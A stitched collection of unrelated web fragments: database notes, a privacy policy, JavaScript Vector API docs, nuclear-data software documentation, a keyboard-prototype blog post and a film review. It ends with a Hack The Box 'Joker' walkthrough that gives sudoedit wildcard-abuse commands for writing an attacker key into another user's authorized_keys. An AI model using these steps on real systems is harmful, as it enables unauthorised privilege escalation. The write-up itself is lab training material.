Function: Makes transactions only see changes performed by other successfully finished transactions.
Once a transaction is successfully finished, all changes are immutable, surviving any kind of fault.
Function: Data about changes of each commited transaction is kept in a log. In case of any fault, any changes that were not saved to the disc are remade.
If we have a database with many tables, each with thousands of rows, how can we make data access faster?
If we know beforehand what will be the most used queries, we can prepare the RDBMS to better perform such queries
Example: "Who are the sailors that reserved the boat with ID = X?"
Indexes allow the RDBMS to speed up data access, allowing it to efficiently find all rows that match a given column in a query. By doing so, the RDBMS only has to walk through a subset of the table to find the exact matches, instead of walking through the entire table and checking every single row.
In general, indexes are smaller than the table which they index.
It makes reading ( select queries and where clauses) faster, but the writing ( update and insert statements) becomes slower.
//creating index
CREATE INDEX index_name ON table_name(column_name);
//dropping index
DROP index_name ON table_name;
Primary keys are already indexed by default


|
Our Commitment To Privacy
Your privacy is important to us. To better protect your privacy we provide this notice
explaining our online information practices and the choices you can make about the way your
information is collected and used. To make this notice easy to find, we make it available on
our homepage and at every point where personally identifiable information may be requested.
The Information We Collect: email address (Please see our
payment processor's Privacy Policy concerning information
collected for subscription sales)
This notice applies to all information collected or submitted on
The PhotoClubs.Com website. On some pages, you can order products/subscriptions, make requests,
and register to receive materials. The types of personal information collected at these pages are:
Email address
The Way We Use Information
PhotoClubs.Com collects email address for the sole
purpose of our opt-in/opt-out email list to notify interested
parties of updates and special offers. This information
is kept private and is not sold to any other third
party.
Our Commitment To Data Security
To prevent unauthorized access, maintain data accuracy, and ensure the correct use of information,
we have put in place appropriate physical, electronic, and managerial procedures to safeguard and
secure the information we collect online.
How You Can Access Or Correct Your Information
You can access all your personally identifiable information that we collect online and maintain by
sending us a request via email to [email protected].
We use this procedure to better safeguard your information.
You can correct factual errors in your personally identifiable information by sending us a request that
credibly shows error.
To protect your privacy and security, we will also take reasonable steps to verify your identity before
granting access or making corrections.
How To Contact Us
Should you have other questions or concerns about these privacy policies, please
send us an email at [email protected]. |


Class Vector
Defined in: vector.js.
| Constructor Attributes | Constructor Name and Description |
|---|---|
|
Vector(opt_x, opt_y)
Creates a new Vector.
|
| Method Attributes | Method Name and Description |
|---|---|
|
add(vector)
Adds a vector to this vector.
|
|
|
clone()
Returns an new vector with all properties and methods of the
old vector copied to the new vector's prototype.
|
|
|
distance(vector)
Calculates the distance between this vector and a passed vector.
|
|
|
div(n)
Divides this vector by a passed value.
|
|
|
dot(vector)
Calulates the dot product.
|
|
|
limit(high)
Limits the vector's magnitude.
|
|
|
mag()
Calculates the magnitude of this vector.
|
|
|
midpoint(v1, v1)
Calculates the midpoint between this vector and a passed vector.
|
|
|
mult(n)
Multiplies this vector by a passed value.
|
|
|
Divides a vector by its magnitude to reduce its magnitude to 1.
|
|
|
rotate(radians)
Rotates a vector using a passed angle in radians.
|
|
|
sub(vector)
Subtracts a vector from this vector.
|
|
| <static> |
Vector.VectorAdd(v1, v2)
Add two vectors.
|
| <static> |
Vector.VectorAngleBetween(v1, v2)
Get the angle between two vectors.
|
| <static> |
Vector.VectorDistance(v1, v2)
Calculates the distance between two vectors.
|
| <static> |
Vector.VectorDiv(v, n)
Divide two vectors.
|
| <static> |
Vector.VectorMidPoint(v1, v2)
Get the midpoint between two vectors.
|
| <static> |
Vector.VectorMult(v, n)
Multiply a vector by a scalar value.
|
| <static> |
Vector.VectorSub(v1, v2)
Subtract two vectors.
|
Class Detail
Vector(opt_x, opt_y)
Creates a new Vector.
- Parameters:
- {number} opt_x Optional, Default: 0
- The x location.
- {number} opt_y Optional, Default: 0
- The y location.
Method Detail
{Object}
add(vector)
Adds a vector to this vector.
- Parameters:
- {Object} vector
- The vector to add.
- Returns:
- {Object} This vector.
{Object}
clone()
Returns an new vector with all properties and methods of the
old vector copied to the new vector's prototype.
- Returns:
- {Object} A vector.
{Object}
distance(vector)
Calculates the distance between this vector and a passed vector.
- Parameters:
- {Object} vector
- The target vector.
- Returns:
- {Object} The distance between the two vectors.
{Object}
div(n)
Divides this vector by a passed value.
- Parameters:
- {number} n
- Vector will be divided by this number.
- Returns:
- {Object} This vector.
{Object}
dot(vector)
Calulates the dot product.
- Parameters:
- {Object} vector
- The target vector.
- Returns:
- {Object} A vector.
{Object}
limit(high)
Limits the vector's magnitude.
- Parameters:
- {number} high
- The upper bound of the vector's magnitude.
- Returns:
- {Object} This vector.
{number}
mag()
Calculates the magnitude of this vector.
- Returns:
- {number} The vector's magnitude.
{Object}
midpoint(v1, v1)
Calculates the midpoint between this vector and a passed vector.
- Parameters:
- {Object} v1
- The first vector.
- {Object} v1
- The second vector.
- Returns:
- {Object} A vector representing the midpoint between the passed vectors.
{Object}
mult(n)
Multiplies this vector by a passed value.
- Parameters:
- {number} n
- Vector will be multiplied by this number.
- Returns:
- {Object} This vector.
{Object}
normalize()
Divides a vector by its magnitude to reduce its magnitude to 1.
Typically used to retrieve the direction of the vector for later manipulation.
- Returns:
- {Object} This vector.
{Object}
rotate(radians)
Rotates a vector using a passed angle in radians.
- Parameters:
- {number} radians
- The angle to rotate in radians.
- Returns:
- {Object} This vector.
{Object}
sub(vector)
Subtracts a vector from this vector.
- Parameters:
- {Object} vector
- The vector to subtract.
- Returns:
- {Object} This vector.
<static>
{Object}
Vector.VectorAdd(v1, v2)
Add two vectors.
- Parameters:
- {number} v1
- The first vector.
- {number} v2
- The second vector.
- Returns:
- {Object} A new Vector.
<static>
{number}
Vector.VectorAngleBetween(v1, v2)
Get the angle between two vectors.
- Parameters:
- {number} v1
- The first vector.
- {number} v2
- The second vector.
- Returns:
- {number} An angle.
<static>
{number}
Vector.VectorDistance(v1, v2)
Calculates the distance between two vectors.
- Parameters:
- {number} v1
- The first vector.
- {number} v2
- The second vector.
- Returns:
- {number} The distance between the two vectors.
<static>
{Object}
Vector.VectorDiv(v, n)
Divide two vectors.
- Parameters:
- {number} v
- A vector.
- {number} n
- Vector will be divided by this number.
- Returns:
- {Object} A new Vector.
<static>
{Object}
Vector.VectorMidPoint(v1, v2)
Get the midpoint between two vectors.
- Parameters:
- {number} v1
- The first vector.
- {number} v2
- The second vector.
- Returns:
- {Object} A new Vector.
<static>
{Object}
Vector.VectorMult(v, n)
Multiply a vector by a scalar value.
- Parameters:
- {number} v
- A vector.
- {number} n
- Vector will be multiplied by this number.
- Returns:
- {Object} A new Vector.
<static>
{Object}
Vector.VectorSub(v1, v2)
Subtract two vectors.
- Parameters:
- {number} v1
- The first vector.
- {number} v2
- The second vector.
- Returns:
- {Object} A new Vector.


FOR VOTING NODE (Minimum)
CPU: 4 cores Memory: 8 G Storage: 80G SSD Bandwidth: 100Mbs with public IP address


4.2. Resonances¶
4.2.1. Resolved¶
In the resolved resonance region, each resonance is listed along with partial widths for the various open outgoing reaction channels. From these parameters, cross sections for each open channel can be reconstructed.
- The following formalisms for storing resolved region resonance parameters are supported in GND:
- BreitWigner (used to store equivalent of LRF 1 and 2 in the ENDF-6 format)
- RMatrix (LRF 3 and 7)
The Adler-Adler formalism (ENDF LRF 4) is still allowed in ENDF-6 formatted files, but no evaluations using this parameterization are present anymore in the ENDF/B-VII.1 library. Thus GND does not yet support Adler-Adler resonance parameters.
4.2.2. Unresolved¶
In the unresolved resonance region, the density of available excited nuclear states increases and resonances begin to overlap. Here, average widths and level densities are given as a function of resonance L and J values for each energy interval. From these parameters, an average cross section for each open channel can be reconstructed.
While the ENDF-6 format supports several ways of storing unresolved resonance parameters, fundamentally they all use the Single-Level Breit Wigner approximation. GND always stored unresolved parameters in tables, containing partial widths for each energy interval, for each combination of resonance L and J.
4.2.3. Resonance reconstruction¶
Resonance reconstruction in Fudge
is simple: starting with a reactionSuite instance, we use the
‘reconstructResonances’ method. For example:
>>> from fudge.gnd import reactionSuite, styles
>>> RS = reactionSuite.readXML( "gnd_formatted_file.xml" )
>>> evalStyle = RS.styles.getEvaluatedStyle()
>>> reconStyle = styles.crossSectionReconstructed( "reconstructed", derivedFrom=evalStyle.label )
>>> RS.reconstructResonances( reconStyle, accuracy=0.001, verbose=True )
This method reconstructs the pointwise cross section from resonance parameters, and then adds the background cross section to obtain the full cross section at all incident energies. The background is typically required since resonance parameters usually only apply at small incident energies. See the ‘resonancesWithBackground’ section (need link to cross section page) for more detail.
Before reconstructing resonances, we must create a new ‘style’ associated with the reconstructed values. After reconstruction, cross sections for resonance reactions will have an additional data form with the label “reconstructed”.
The ‘reconstructResonances’ method takes two optional parameters. If an ‘accuracy’ is supplied, extra points are added during reconstruction to ensure that the resulting cross section can be interpolated to the desired accuracy. The ‘verbose’ option can be used to print out some details during resonance reconstruction.
‘reconstructResonances’ is meant as an easy-to-use interface for resonance reconstruction. Under the covers, it uses
the Python module at fudge.processing.resonances.fudgeReconstructResonances
. For improved performance
that module uses numpy, multiprocessing, and also some compiled extensions, written in C, that handle the most
computationally intensive tasks.
4.2.4. Angular distributions from resonances¶
Modern resonance parameterizations can be used to describe not only the cross section as a function of incident energy, but also the outgoing angular distributions for products. For more detail, see section D.1.7.2 of the ENDF-6 manual (available at https://ndclx4.bnl.gov/gf/project/endf6man).
Angular distribution reconstruction capability has not yet been added to Fudge
, although we expect to add
this feature soon.


| Created: | 1/27/2021 3:41:55 PM |
| Modified: | 1/27/2021 3:41:55 PM |
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Public varchar(255) sco_recon_column_header |
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Public varchar(255) sco_recon_column_type |
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Public integer sco_recon_column_rank |
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Public timestamp with time zone(0) created_at |
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Public bigint created_by_user_id |
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Public varchar(255) created_by_user_first_name |
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Public varchar(255) created_by_user_email |
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Public bigint updated_by_user_id |
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Public varchar(255) updated_by_user_sub |
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Public varchar(255) updated_by_user_first_name |
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Public varchar(255) updated_by_user_last_name |
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Public varchar(255) updated_by_user_email |
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Public jsonb ods_meta |
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Public varchar(255) ods_created_by |
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| Owner | public |
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| isFinalSpecialization: | 0 |


iPhone thumb keyboard input simulation for windows mobile 5 / download available
I have been extending my former iPhone UI input simulations further, and migrated the intelligent thumb keyboard part to windows mobile 6 :
Some examples of wrong keyboard input, while the expected result was still first match :
- SURROGATE (input text : XUERMFSRE )
- TWEAKER (input text : YSRALDR )
- ABSOLUTE BEGINNER (input text : ZHDIMYTR JRHOKKER)
It does run on the emulator, but it seems to be a little slow. It would be interesting if YOU could test it yourself on a real windows mobile 5 device, and test the performance. Please download and test it yourself, and leave me a comment about it.
Since it is only a prototype, I am of course open to suggestions. Some things on my todo list :
- Support for caps/non-letters
- Convert it into a WM5 keyboard plugin
- make it skinnable
- support extra dictionaries
- allow the user to add words.
- SPEED & memory usage improvements (currently uses about 12,7MB, no idea about the speed)
The windows version of the former program has also been adapted and the gesture part has been improved :
You can now define if a mouse gesture has to be located in a certain place, and if the size of the gesture is important by clicking on it and modifying the parameters.
Downloads:
You can download the Windows Mobile 5 version here (just unzip and copy the exe to your device, and execute it from there):
Download for windows mobile 5 : coreInput.zip (253,25 KB)
The Windows Version can be found here (unzip & run)
Download for Windows PC : IphoneMockup12.zip (258,87 KB)
You require .Net 2.0 runtimes on both of the platforms to run the app.
If you want to you can also run the WM5 version from your pc too.
Some implementation details :
- Knows +/- 75000 English words.
- Uses a self-developped DAWG-like structure to reduce memory usage and improve performance.
- Gesture system is still orientation dependent, but could be easily made oriëntation independent.
- Currently the source code is written preferring clarity over speed & memory usage
And finally :
Please comment !! Give me your opinion, either good or bad !!!
Also not that the windows mobile version might take a little while to load.


Process that will increas your ROI
Design Thinking - for creating best go to market solutions
Discover
Ideate
Validate
Improve
Discover
User research techniques like exploratory interviews, diary studies, desktop competitive research, personas creations are crucial to identify user problems and needs. At this stage the goal is to define findings and narrow them to the most important insights ready for the next step - solutions ideation.
Backed up with solid data and facts about users there is a crucial part to bring all product team to the ideation workshop. Aiming for the best ideas with all constraints in mind. Conducting vivid cooperation with the goal to produce user flows, mocks, clickable prototypes and product hypothesis.
Ideate
Validate
To narrow uncertainty have highier odds for success there is no better way than test it all out. Running validation sessions with users to learn with possible solutions can be easily operate and allow finish tasks without freaktion .
Shovel ready solutions are now to be implemented to improve current product by delivering more value to all of users and customers. Part of this stage is observation of new releases by using analytical tools to see how the real world reacts to new ideas. Collecting feedback and looking for more opportunities to constantly make users happy and in love with your product even more.
Improve


PLANET SICK-BOY: http://www.sick-boy.com
Mike Leigh (Career Girls) has left an unmistakable stamp on the ‘90s, writing and directing four films that broke the conventional feature film mold and, in turn, netted the Brit accolades from peers, critics, festivals, and even two Academy Award nominations (for Secrets & Lies). What makes Leigh's work so invigorating is the fact that he rarely follows a proper script, letting his actors improvise dialogue from a basic outline of the film's story.
Which is why Topsy-Turvy, Leigh's fifth and latest film of the decade, is such a surprise. His biopic of Gilbert and Sullivan runs nearly three hours, most of which is spent on well-choreographed numbers from their plays. Well-choreographed numbers? Mike Leigh? What gives? While the film is still flawlessly executed, it's so much of a departure from Leigh's previous films that Turvy is almost disappointing.  If you don't particularly care for their garish musicals, you may admire Turvy's acting and grandeur, but don't expect much else.
Focusing on the fourteen months leading up to the premiere of `The Mikado,' Turvy introduces its main characters in a rather unique way. The two don't share a scene together until about forty minutes into the picture, which leaves plenty of time to establish them as completely separate artists, rather than two hit-makers connected at the hip.
Turvy begins in 1884 with the debut of `Princess Ida' at the legendary Savoy Theatre. The play was a critical and commercial flop, which sent both Gilbert and Sullivan reeling in different directions career-wise. William Schwenk Gilbert (Jim Broadbent) is haunted by a newspaper review that referred to the playwright as `the King of Topsy-Turvy-dom.' Meanwhile, Arthur Sullivan (Allan Corduner, The Impostors) is shown as a physically ailing composer at a bit of a career crossroads. He hates the repetitious music that he has been composing for Gilbert's equally repetitious themes of magic that propel each of their plays. Sullivan wants to write an opera, while Gilbert wants to plod along using more of the same supernatural subjects.
Courtesy of a well-timed museum exhibit of Japanese culture, Gilbert gets the idea that eventually becomes `The Mikado,' the production that jumpstarted the duo's creative juices. They went on to do The Gondoliers and The Yeoman of the Guard and blah blah blah. There isn't much in the way of surprises, but there rarely ever is in a biopic. The only revelation here is that G & S's actors were used to wearing corsets in each play, but couldn't in `The Mikado' because the Japanese attire wouldn't hang right on their frames.
To Leigh's credit, he can elicit amazing performances from his actors, and Turvy is certainly no exception. Broadbent is fantastic, in a stick-up-your-ass sort of way (a big surprise if you remember his sleazy nightclub owner in last year's Little Voice). Corduner is great in an altogether different way, looking a bit like a smirking Inspector Clouseau. It seems like he's in on some private joke (maybe he saw what the running time was). Also worth noting is the performance of portly Leigh regular Timothy Spall, who plays one of the Savoy regulars, as well as the technical work, which is fantastic from the costumes to the art and production design.
Since I am not a fan of Gilbert and Sullivan (I just found out that they're responsible for the songs that Sideshow Bob sang on the Cape Fear episode of The Simpsons), I found Turvy to contain too many song-and-dance numbers. There is an Oscar-quality film somewhere in there, but unfortunately, it's buried amidst the musical numbers. But, like I said, G & S enthusiasts will probably wish there were even more.
2:40 – R for nudity and adult situations
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rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
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Taken from the Joker HTB machine.
Versions of sudoedit are vulnerable to /*/* double wildcard vulnerability where the paths are not correctly checked
Follow through with IppSec: https://www.youtube.com/watch?v=5wyvpJa9LdU
Two ways:
symlink
sudoedit was allowed for /var/www/*/*/layout.html
so in /var/www, create a nested dir, say testing/ippsec
now, symlink to a file you want to chage and name it layout.html- ln /home/arekos/.ssh/authorized_keys layout.html
Now, you can edit layout.html as it fulfills all requirements by sudoedit, and place your public key in authorized_keys
$ /var/www/testing/ippsec: sudoedit -u arekos layout.html
abusing spacing
wildcards are awesome because they accept...well...anything!
Nano has the ability to create multiple files separated by space on the command line
take advantage of sudoedit directly:
$ cd /home/arekos
$ sudoedit -u arekos /var/www/ .ssh/authorized_keys /layout.html
sudoedit requirements /var/www/*/*/layout.html were fulfilled and nano obliged and created /home/arekos/.ssh/authorized_keys AND layout.html. Simply save authorized_keys, exit out of layout.html and you're good to go!